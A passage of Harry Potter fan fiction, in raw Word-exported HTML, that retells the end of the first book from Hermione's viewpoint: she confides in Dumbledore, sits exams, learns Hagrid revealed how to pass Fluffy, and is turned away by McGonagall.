class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right and of\ncourse he&#8217;ll believe us because we&#8217;re the first year students who &#8216;pretended&#8217;\nthat we had a dragon just get Malfoy in trouble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We should at\nleast try,&#8221; Hermione insisted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go ahead.&#8221; Harry\nsaid standing up again. &#8220;I don&#8217;t care anymore.&nbsp;\nI&#8217;m going to go to bed and wait for the inevitable.&#8221; He stomped off\nupstairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This thing&#8217;s\nreally gotten to him,&#8221; Ron said to Hermione when Harry was out of earshot.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well you&#8217;d be\nupset too if you thought you were going to die,&#8221; Hermione chastised not\nbelieving that Ron could be that dense.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, maybe it\nwasn&#8217;t really &#8216;you know who,&#8217;&#8221; Ron offered. &#8220;Maybe it was a werewolf or\nsomething.&nbsp; Harry could just be\noverreacting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron you weren&#8217;t\nout there tonight.&nbsp; Trust me, whatever\nwas killing those unicorns, it wasn&#8217;t a werewolf.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well you didn&#8217;t\nsee it did you?&#8221; Ron challenged.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No I didn&#8217;t see\nit myself,&#8221; Hermione admitted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well then there\nyou have it.&nbsp; It could have been\nanything.&nbsp; The centaurs were probably\njust trying to scare Harry.&nbsp; You know,\nkeep humans out of the forest.&nbsp; It&#8217;s\nprobably nothing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to say she didn&#8217;t think so, but Ron stood to leave. &#8220;I&#8217;m with Harry.&nbsp; We can&#8217;t go to Dumbledore, not until we&#8217;re\nsure.&nbsp; Else wise, we&#8217;ll just be letting\nSnape know we&#8217;re on to him and then we&#8217;ll never catch him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione folded\nher arms, &#8220;Fine,&#8221; she said irritably. She watched as Ron left the common room\nand headed up the stairs to his dormitory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Of course he agrees with Harry.&nbsp; That&#8217;s all he knows how to do.&nbsp; I can&#8217;t believe all this time I&#8217;ve been\nworried about a little thing like my father not letting me come back to\nHogwarts next year when the whole world could be in danger.&nbsp; I can&#8217;t believe this is really happening and\nthere&#8217;s nothing I can do about it.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a few\nminutes of letting these thoughts float through her head, Hermione finally\nresigned herself to bed, but even after she had preformed the silencing spell\nthat blocked out Lavender&#8217;s thunderous snores, she still couldn&#8217;t sleep.&nbsp; She kept having visions of a dark silhouetted\nman attacking Harry.&nbsp; She tossed and\nturned until exhaustion overtook her.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione decided\nthat she was going to talk to Dumbledore herself.&nbsp; She was tired of waiting for Harry to decide\nthe time was right because she was afraid that by the time he did, it would be\ntoo late.&nbsp; Ever since the incident in the\nforest it seemed that Harry had completely given up his will to fight and\nHermione suspected that he was having nightmares again, even though he wouldn&#8217;t\ntalk about them.&nbsp; She was also fed up\nwith Ron&#8217;s blind allegiance.&nbsp; Even if it\nmeant them being cross with her, she was going to do what she knew was\nright.&nbsp; She just had to find the right\ntime to talk to the headmaster alone.&nbsp;\nSuch an opportunity came the following Friday afternoon, the last Friday\nbefore exams.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, Ron,\nand Harry were in the library studying, when suddenly Harry slammed his book\nshut, signaling that he had had enough. &#8220;I&#8217;m going to go see Hagrid.&nbsp; I just need to get out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron closed his\nbooks as well, &#8220;Alright, sounds good.&nbsp;\nHermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I think I&#8217;ll\nstay here and study a bit more.&nbsp; Exams\nare next week you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How could we\nforget,&#8221; Ron sighed. &#8220;Suite yourself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched\nthem leave the library. Harry gave her one last quizzical backwards glance at\nthe door before leaving.&nbsp; She waited a\nfew minutes to be sure they were long gone and then she stood as well.&nbsp; She had no intentions of staying in the\nlibrary.&nbsp; This was her opportunity to go see\nDumbledore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshouldered her bag and left the library quickly.&nbsp; Her first stop was the staff room.&nbsp; Perhaps the headmaster would be there.&nbsp; She bounded down one set of stairs after\nanother until she hit the ground floor.&nbsp; Then\nshe made her way to the staff room and knocked politely on the door.&nbsp; There was no answer.&nbsp; She pushed the door open as quietly as\npossible.&nbsp; Sure enough the staff room was\ndeserted.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione decided\nto try McGonagall&#8217;s study next.&nbsp; Perhaps\nthe headmaster and deputy headmistress were in some sort of meeting.&nbsp; When she got there she once again knocked\npolitely on the door and once again there was no answer.&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Where\nis everyone?&#8221; </i>she wondered as she pushed open the door to make sure the\nroom was indeed empty.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Looking for\nProfessor McGonagall, Ms. Granger?&#8221; came a voice from behind her that made her\njump.&nbsp; Hermione spun on her heels and\nfound herself face to face with none other than Professor Dumbledore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For a split\nsecond she was afraid Dumbledore would think she was snooping around again, but\nthe gentle twinkle in his eyes told her that he wasn&#8217;t upset at all.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I also am\nlooking for her,&#8221; Dumbledore continued. &#8220;Perhaps we can wait together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, well uh,\nactually Professor, I was looking for you,&#8221; Hermione stammered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really,&#8221;\nDumbledore said with a slight chuckle as if he found it amusing that Hermione\nwas looking for him in another professor&#8217;s office.&nbsp; The truth was, Hermione couldn&#8217;t remember\nwhere the headmaster&#8217;s office was, and she didn&#8217;t feel like looking it up in\n&#8220;Hogwarts: A History,&#8221; if it was indeed even in the book.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I suppose\nsince Professor McGonagall is nowhere to be found, she wouldn&#8217;t mind us using\nher office for whatever it is you wanted to discuss.&#8221; He pushed open the door\nand ushered her in.&nbsp; They both took\nseats.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what can I do\nfor you?&#8221; Dumbledore asked politely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout the best way to start but as soon as she opened her mouth the words just\ncame tumbling out. &#8220;Professor Harry&#8217;s in trouble.&nbsp; Something tried to kill him in the forbidden\nforest the other night while we were serving detention.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well the forest\nis forbidden for a reason,&#8221; Dumbledore said lightly. &#8220;However I knew that you\nwould be safe with Hagrid to protect you.&nbsp;\nHe knows every creature in that forest.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But this wasn&#8217;t\nsomething that was normally in the forest,&#8221; Hermione insisted. &#8220;Even Hagrid\nsaid so and the centaurs, they said that it was Voldemo&#8230; I&#8217;m sorry professor; I\nmean &#8216;you know who.&#8217;&#8221; Hermione checked to see if he was upset that he had\nalmost spoken the Dark Lord&#8217;s name.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore\nhowever was far from upset but rather amused. &#8220;No need to mince words with me,\nMs. Granger.&nbsp; I am constantly telling\npeople that they shouldn&#8217;t be afraid of saying the name Voldemort.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you,\nProfessor,&#8221; Hermione said with relief.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you believe\nthat Voldemort is lurking in the forest and that he&#8217;s trying to attack Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I know it&#8217;s\nfar fetched but&#8230;&#8221; Hermione wondered how much detail she should go into.&nbsp; Should she reveal that she knew about the\nSorcerer&#8217;s Stone?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My dear, there&#8217;s\nnothing far fetched about it.&nbsp; If\nVoldemort were to be anywhere, it would be here.&nbsp; There have been many signs to prove that and\nthere are other reasons that he would come to Hogwarts.&#8221; Hermione nodded,\npretending to be puzzled but Dumbledore must have seen through this because he\nadded; &#8220;as I&#8217;m sure you&#8217;re well aware of.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you believe\nme?&#8221; she asked finally.<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore smiled. &#8220;I believe that\nthere are many things at work here, Ms. Granger, but rest assured, I will do\neverything in my power to help Harry, just as I have always done.&#8221;&nbsp; He stood. &#8220;I know you will do the same.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nknow what to say.&nbsp; She had expected\nDumbledore to leap up and go charging into the forest to investigate but he\nacted as if Hermione had simply told him that there was poison ivy growing\nthere.&nbsp; She began to wonder if he really\ndid believe her of if the headmaster was just patronizing a gullible first year\nstudent but something about the seriousness in his expression told her that this\nwasn&#8217;t the case.&nbsp; She had the feeling\nDumbledore knew far more about the situation than they did but he, like Harry,\nwas waiting for when the time was right.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She finally stood\ntoo. &#8220;I will, sir.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\ntell Harry or Ron that she had been to see Dumbledore.&nbsp; She knew they&#8217;d just be upset with her for\ngoing behind their backs.&nbsp; Still she felt\nbetter knowing that Dumbledore did know what was going on.&nbsp; The headmaster would put a stop to anything\nthat would endanger one of his students and if he already knew there was a\nchance Voldemort might be lurking about, then that meant that he would be doubly\nprotective.&nbsp; He wouldn&#8217;t let Harry take\nany risks that could get him killed.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All in all, she\nfelt better about the whole situation so when Monday&#8217;s exams rolled around, she\nwas able to put her full concentration into her work for the first time in\nseveral days.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The four days of\nexams seemed to fly by to Hermione.&nbsp; All\nof her tests were much easier than she anticipated and she was sure that she\nwould score top marks.&nbsp; However as the\nend of term speed closer and closer, the dread of what awaited her when she\nreturned home began to grow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She still hadn&#8217;t\ntold Harry about the most recent letter from her mother.&nbsp; In all the excitement she had almost\nforgotten herself.&nbsp; She felt she at least\nowed it to her best friend to let him know that there was a possibility she&#8217;d\nnever see him again, but the very thought of talking to him about it made her\nstomach churn.&nbsp; So she kept putting it\noff.&nbsp; /She figured she would wait until\nthe right time to tell him.&nbsp; Harry looked\nso strained all the time lately that she didn&#8217;t want to worry him with her\ntroubles.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione also\nhoped that if she was top of her class her parents would be more reasonable and\nthen she wouldn&#8217;t need to tell Harry at all.&nbsp;\nShe decided that as soon as the exam results were posted, she would send\nan owl to her parents to show them what she had accomplished.&nbsp; That way they would get them before she even\ngot home and it might temper the wrath that she knew was headed into.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Despite the fact\nthat Snape didn&#8217;t seem to show the slightest sign that he was trying anything,\nHarry still looked worried all the time.&nbsp;\nHe complained that his scar hurt constantly.&nbsp; Hermione had tried repeatedly to get him to\ngo to the hospital wing but he refused.&nbsp;\nShe was right on the verge of looking for a cure for magical headaches\nwhen she stopped herself.&nbsp; This was\nexactly how she had gotten herself in trouble last time.&nbsp; So the night before their last exam, she\nresolved herself to talk to Harry about it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, I thought\nyou said that you almost always beat Seamus in chess,&#8221; she said as she walked\nup to him and Harry in the common room.&nbsp;\nHarry eyed her suspiciously.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do,&#8221; Ron\nconfirmed. &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took a\nseat beside his. &#8220;Oh nothing, I just overheard Seamus saying something about\nbeing the house chess champion,&#8221; she said casually.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron immediately\njumped up, &#8220;Oh we&#8217;ll see about that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry snickered.\n&#8220;Do you think he&#8217;ll ever learn?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope,&#8221; Hermione\nsaid gleefully.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So I&#8217;m guessing\nyou want to talk to me about something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just wondering\nhow you&#8217;re doing.&nbsp; That&#8217;s all.&nbsp; I&#8217;ve been kind of worried about you.&nbsp; But I decided not to make a sleeping potion\nthis time,&#8221; she said lightly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well good.&nbsp; I&#8217;m fine.&nbsp;\nJust have a lot on my mind.&nbsp; What\nabout you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\ntaken aback. &#8220;What about me what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I know you\nwere worried about how your parents would react about you getting\ndetention.&nbsp; You never told me what they\nsaid.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh well, they\nweren&#8217;t too happy with me,&#8221; Hermione said vaguely. &#8220;But nothing I can&#8217;t\nhandle.&nbsp; I&#8217;m not going to let them pull\nme out of Hogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So they&#8217;re\nthinking about it then,&#8221; Harry said, reading between the lines.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;ll be\nokay.&nbsp; I&#8217;ll handle it,&#8221; Hermione said\nconfidently. &#8220;You know, for some strange reason I actually believe that when I\nsay it to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry I got\nyou into this mess,&#8221; Harry said sincerely. &#8220;If I hadn&#8217;t been trying to protect\nHagrid&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s okay.&nbsp; I don&#8217;t blame you.&nbsp; You didn&#8217;t make me.&nbsp; I wanted to help too.&nbsp; That&#8217;s what friends are supposed to do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron appeared\nagain. &#8220;That was fast,&#8221; Harry said lightly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Seamus said he\nwasn&#8217;t in the mood, lousy git.&nbsp; He just\ndoesn&#8217;t want me to stomp him in front of the whole house,&#8221; Ron said with a\ngrin. &#8220;So are you two ready for the History of Magic exam tomorrow?&#8221; he looked\nat Hermione first and then scoffed. &#8220;I mean, Harry are <i style="mso-bidi-font-style:\nnormal">you </i>ready?&nbsp; We all know Miss Know-It-All\nis ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled\nout her wand with a malicious grin. &#8220;Ron, you should be <i style="mso-bidi-font-style:\nnormal">really</i> careful about insulting the most knowledge witch in our\nyear,&#8221; she said pointing her wand at him for emphasis. &#8220;I can do things to you\nthat you can&#8217;t even imagine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shuddered.\n&#8220;You&#8217;re scary; you know that don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The History of\nMagic exam, like all the others, didn&#8217;t seem nearly as difficult as Hermione\nthought it would be.&nbsp; Of course, her\ncompanions didn&#8217;t think so but she was used to them not agreeing with her on\nmatters of academia.&nbsp; Since this was\ntheir last exam they celebrated by finding a large tree to relax under near the\nlake.&nbsp; Everyone else was outside as well.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt\nlike a great weight had been lifted off her shoulders.&nbsp; Now that exams were over, she had a rare\nopportunity to do nothing but relax.&nbsp;\nHarry on the other hand seemed even more stressed.&nbsp; His scar was still hurting him.&nbsp; No matter how many times she or Ron tried to\nconvince him that everything would be okay, he still seemed worried about\nSnape, Voldemort, and the Sorcerer&#8217;s Stone. He told them that he felt like\nthere was something he was forgetting.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s just the\nexams,&#8221; Hermione said dismissively, trying to sooth him. &#8220;I woke up last night\nand was halfway through my transfiguration notes before I remembered we&#8217;ve done\nthat one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\nlook that said all too clearly he didn&#8217;t think whatever was bothering him had\nanything to do with exams.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed\nand settled back against the tree.&nbsp; She\ndidn&#8217;t want to fret about anything anymore.&nbsp;\nIf Dumbledore was acting calmly about the whole thing, then why should\nthey worry?&nbsp; There was no way they could\nprotect the stone any better than him.&nbsp;\nAs long as he was still at the castle, Voldemort wouldn&#8217;t dare try to\nenter and as long as Fluffy was guarding the stone, Snape would never get\nit.&nbsp; These were two barriers that\ncouldn&#8217;t be broken.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes\nwere beginning to droop as she started to drift off to sleep but then suddenly\nHarry jumped to his feet like he was on fire.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve just\nthought of something,&#8221; Harry said as Hermione rubbed her eyes and straightened\nup. &#8220;We&#8217;ve got to go and see Hagrid, now.&#8221; He bolted across the courtyard\nwithout further explanation.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione jumped\nto her feet, yanking Ron up with her. &#8220;Why?&#8221; she asked as they ran to catch up\nwith him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was running\nso fast that she could barely hear what he was saying but she caught enough to\nunderstand.&nbsp; He had made a connection\nthat they&#8217;d all missed.&nbsp; It couldn&#8217;t have\nbeen a big secret that Hagrid always wanted a dragon and then all of the\nsudden, someone turns up in Hogsmeade with an illegal dragon egg and just\nhappens to bump into Hagrid.&nbsp; It had to\nhave been planned, but why?&nbsp; She knew\nwhat Harry was thinking; was this a ploy by Voldemort?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ran\nfaster, clutching a stitch in her side, trying to keep up with Harry as he made\na mad dash for Hagrid&#8217;s hut.&nbsp; As it came\ninto view, they saw Hagrid himself sitting outside, casually shelling peas. &nbsp;He offered them a drink which Harry quickly\ndeclined, much to Ron&#8217;s chagrin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got to ask\nyou something,&#8221; Harry said quickly. &#8220;You know that night you won Norbert; what\ndid the stranger you were playing cards with look like?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dunno, he\nwouldn&#8217;t take his cloak off.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione\nexchanged worried looks.&nbsp; She knew\nexactly what he was thinking.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not that\nunusual, you get a lot of funny folks up in the Hogs Head.&nbsp; That&#8217;s the pub down in the village.&nbsp; Might have been a dragon dealer mighten he?&nbsp; I never saw his face; he kept his hood up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gulped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry dropped to\nthe ground next to Hagrid and pressed further about his conversation with the\npub stranger.&nbsp; It seemed that Hagrid had\nbeen extremely drunk that night because the cloaked man kept buying him\ndrinks.&nbsp; This was all he needed to do to\nget the information he really wanted out of Hagrid.&nbsp; After that it didn&#8217;t seem to take Hagrid long\nto mention the large three headed dog he had raised at Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s voice was\nshaking as he asked his next question. &#8220;Did he seem interested in Fluffy?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;Well yeah, how many three-headed dogs do you\nmeet, even around Hogwarts?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;I should hope not many,&#8221; </i>Hermione\nthought to herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So I told him;\nFluffy&#8217;s a piece of cake if you know how to calm him down.&nbsp; Just play him a bit of music and he&#8217;ll go\nstraight off to sleep.&#8221;&nbsp; Hagrid&#8217;s eyes\nwidened. &#8220;Uh, I shouldn&#8217;t have told you that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt a hand\ngrab her and jerk her away.&nbsp; It was Harry\nand he was dragging her and Ron back to the castle.&nbsp; It was clear by the time they reached the\nentrance hall that Harry had made up his mind about going to Dumbledore.&nbsp; Now that they knew that Hagrid had\ninadvertently given away the secret of getting past Fluffy, they had some\nproof.&nbsp; They couldn&#8217;t necessarily say it\nwas Snape, but at least Dumbledore would believe that the stone was in danger.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to tell Harry that she had already spoken to Dumbledore and that the\nheadmaster would probably at least believe it was Voldemort who had tricked\nHagrid but before she could, their discussion was interrupted by Professor\nMcGonagall.&nbsp; She was carrying a large\nstack of books which seemed rather odd to Hermione considering the fact that\nMcGonagall knew about a thousand different spells to keep from having to carry\nthe books herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you\nthree doing inside,&#8221; the deputy headmistress asked as if some rule had been\ndeclared that students were no longer allowed inside the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked lost\nfor words so Hermione decided to take over. &#8220;We want to see Professor Dumbledore.&#8221;\nShe knew there was no use telling her what was going on.&nbsp; She wouldn&#8217;t believe them, but Dumbledore\nwould.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See Professor\nDumbledore, why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nhave an answer for this. <i style="mso-bidi-font-style:normal">&#8220;Why does it\nmatter,&#8221;</i> she thought to herself. <i style="mso-bidi-font-style:normal">&#8220;It&#8217;s\nnone of your bloody business.&#8221;</i> She knew better than to say this aloud\nthough.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s sort of&#8230;\nsecret,&#8221; Harry said weakly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The deputy\nheadmistress snorted. &#8220;Professor Dumbledore left ten minutes ago.&nbsp; He received an urgent owl from the Ministry\nof Magic and flew off to London at once.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Ten minutes!&nbsp; We missed the professor by ten minutes.&nbsp; This isn&#8217;t possible.&#8221;</i> Hermione felt like\nshe was in a terribly bad television drama. <i style="mso-bidi-font-style:normal">&#8220;It&#8217;s\nSnape; he sent that letter.&nbsp;&nbsp; That means\nhe&#8217;s planning on stealing the stone tonight.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was in\nshock as well and Hermione could tell McGonagall was getting tired of their\nconversation.&nbsp; She obviously thought that\nthe three of them were up to some sort of childish prank.&nbsp; If Dumbledore was gone and Snape knew how to\nget past Fluffy then that meant there was absolutely nothing stopping Voldemort\nfrom coming back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It seemed Harry\nwas desperate now.&nbsp; He began to explain\nto Professor McGonagall that they knew about the Sorcerer&#8217;s Stone and that they\nwere sure someone would try to steal it that night.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; McGonagall took\nthis news much better than Hermione that she would.&nbsp; She was expecting the deputy headmistress to\ngive them all another round of detention for trying to lie to her, but instead\nshe just dropped the stack of books she was carrying in shock.&nbsp; &#8220;I don&#8217;t know how you found out about the\nstone but rest assured no one can possibly steal it.&nbsp; It&#8217;s too well protected,&#8221; she said through\npursed lips.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But Professor&#8230;&#8221;\nHarry tried again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But she had heard\nenough.&nbsp; McGonagall gathered up her fallen\nbooks and dismissed them.&nbsp; She strolled\noff down the hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, that went\nwell,&#8221; Hermione muttered.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had decided\nthat the best way to protect the stone was to keep a constant eye on Snape and\nthe third floor corridor entrance.&nbsp; Ron\nand Harry went off to guard the corridor entrance, leaving Hermione to try and\ntail Snape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was pacing\noutside the staff room.&nbsp; Snape had been\nin there for several minutes.&nbsp; She had no\nidea what she was going to do when he came out.&nbsp;\nRon had suggested just telling him that she was looking for Professor\nFlitwick, but she thought that was stupid.&nbsp;\nUnfortunately she hadn&#8217;t come up with any better ideas.</p>\n\n<p 